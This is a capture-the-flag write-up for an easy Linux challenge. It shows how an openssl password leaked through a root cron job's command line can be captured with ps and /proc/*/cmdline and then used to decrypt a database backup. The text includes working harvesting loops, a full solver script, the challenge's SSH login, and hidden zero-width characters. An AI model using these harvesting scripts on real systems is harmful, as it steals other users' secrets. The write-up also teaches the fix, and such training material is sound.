← Back to Writeups
CUSTOMEasyInfrastructure

Recipe

XESXOR9/2/20264 min read
#infrastructure#custom#easy#process_list_credential_harves#proc_cmdline_leak#linux

Recipe

Platform: alfactf.ru | Category: Infrastructure | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2025-12-19 | Status: Solved Techniques: process_list_credential_harvesting, proc_cmdline_leak

Summary

SSH access: - Host: recipe-kjo48rq4.alfactf.ru - Username: recipe - Password: X9azG0pNtCXab9wKhK4sjQ

Recipe — alfactf.ru

Description

В пляжном баре вы заказываете коктейль «Фиксит». Бармен улыбается: «Ого, эту штуку сто лет не просили». Достаёт бутылки, что-то мешает, пробует и морщится: «Хм… странно. Вроде всё на месте, а вкус не тот». Похоже, бармен забыл правильный порядок ингредиентов. Если поможете бармену добыть данные из старой барной базы — получите (напиток) флаг за счёт заведения.

SSH access:

  • Host: recipe-kjo48rq4.alfactf.ru
  • Username: recipe
  • Password: X9azG0pNtCXab9wKhK4sjQ ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

1. System Reconnaissance

After connecting via SSH, the following were discovered:

  1. Backup script /usr/local/bin/backup.sh:
bash
#!/bin/bash
# Backup script for MySQL database

BACKUP_DIR="/var/backups"
ENCRYPTED_FILE="db_backup.enc"
ENC_PASS="<secret_password>"

# Create backup and encrypt
mysqldump -u root database | gzip | \
    openssl enc -aes-256-cbc -e -salt --iter 131072 -out $BACKUP_DIR/$ENCRYPTED_FILE -pass pass:$ENC_PASS
  1. Cron job running every minute:
*/1 * * * * root /usr/local/bin/backup.sh

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

2. Vulnerability — Information Leak via /proc

Problem: The encryption password is passed through command line arguments (-pass pass:$ENC_PASS).

Why this is a vulnerability:

  • Command line arguments are visible to all users on the system
  • Accessible via ps aux, /proc/[pid]/cmdline
  • This is a classic mistake — passing secrets through CLI
bash
# Any user can see:
$ ps aux | grep openssl
root  12345  openssl enc -aes-256-cbc -e -salt --iter 131072 -out /var/backups/db_backup.enc -pass pass:SuperSecretPassword123

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Process Monitoring to Capture Password

bash
#!/bin/bash
# Wait for cron job execution and capture password

while true; do
    PASS=$(ps aux | grep 'openssl enc' | grep -v grep | sed -n 's/.*pass:\(\S\+\).*/\1/p')
    if [ -n "$PASS" ]; then
        echo "Password captured: $PASS"
        break
    fi
    sleep 0.1
done

Alternative method via /proc:

bash
# Monitoring via procfs
for pid in /proc/[0-9]*; do
    cmdline=$(cat "$pid/cmdline" 2>/dev/null | tr '\0' ' ')
    if [[ "$cmdline" == *"openssl enc"* ]]; then
        echo "$cmdline" | grep -oP 'pass:\K\S+'
    fi
done

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Decrypting the Backup

After obtaining the password:

bash
# Decryption and extraction
BACKUP="/var/backups/db_backup.enc"
PASS="<captured_password>"

openssl enc -aes-256-cbc -d -salt --iter 131072 -in "$BACKUP" -pass pass:"$PASS" | tar -xzf - -O

Or as a one-liner:

bash
openssl enc -aes-256-cbc -d -salt --iter 131072 -in /var/backups/db_backup.enc -pass pass:"$PASS" | gunzip

Step 3: Extracting the Flag

The decrypted MySQL dump contains:

sql
-- MySQL dump 10.13
-- Database: bar_recipes
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

CREATE TABLE `users` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `name` varchar(255) NOT NULL,
  `email` varchar(255) NOT NULL,
  PRIMARY KEY (`id`)
);

INSERT INTO `users` VALUES 
  (1,'Alice','alice@example.com'),
  (2,'Bob','bob@example.com'),
  (3,'Alex','alfa{REDACTED}');

Full Exploit

bash
#!/bin/bash
# Recipe CTF Solver

BACKUP="/var/backups/db_backup.enc"

echo "[*] Waiting for cron job to execute..."

while true; do
    PASS=$(ps aux 2>/dev/null | grep 'openssl enc' | grep -v grep | sed -n 's/.*pass:\(\S\+\).*/\1/p')
    if [ -n "$PASS" ]; then
        echo "[+] Password captured: $PASS"
        break
    fi
    sleep 0.1
done
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

echo "[*] Decrypting backup..."
openssl enc -aes-256-cbc -d -salt --iter 131072 -in "$BACKUP" -pass pass:"$PASS" 2>/dev/null | gunzip 2>/dev/null | grep -oE 'alfa\{[^}]+\}'

echo "[+] Done!"

Correct Approach (How It Should Have Been Done)

bash
# WRONG - password visible in ps:
openssl enc -aes-256-cbc -e -pass pass:$SECRET ...

# CORRECT - via environment variable:
export ENC_PASS="secret"
openssl enc -aes-256-cbc -e -pass env:ENC_PASS ...

# CORRECT - via file:
echo "secret" > /root/.enc_pass && chmod 600 /root/.enc_pass
openssl enc -aes-256-cbc -e -pass file:/root/.enc_pass ...
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# CORRECT - via stdin:
echo "secret" | openssl enc -aes-256-cbc -e -pass stdin ...

Lessons

  1. Never pass secrets through command line arguments — they are visible to all users
  2. Use environment variables or stdin for passing passwords
  3. Hint in the description — "order of ingredients" hinted at the sequence: first capture the password from the process list, then decrypt
  4. The flag speaks for itself: REDACTED — "process list sometimes is evil"

References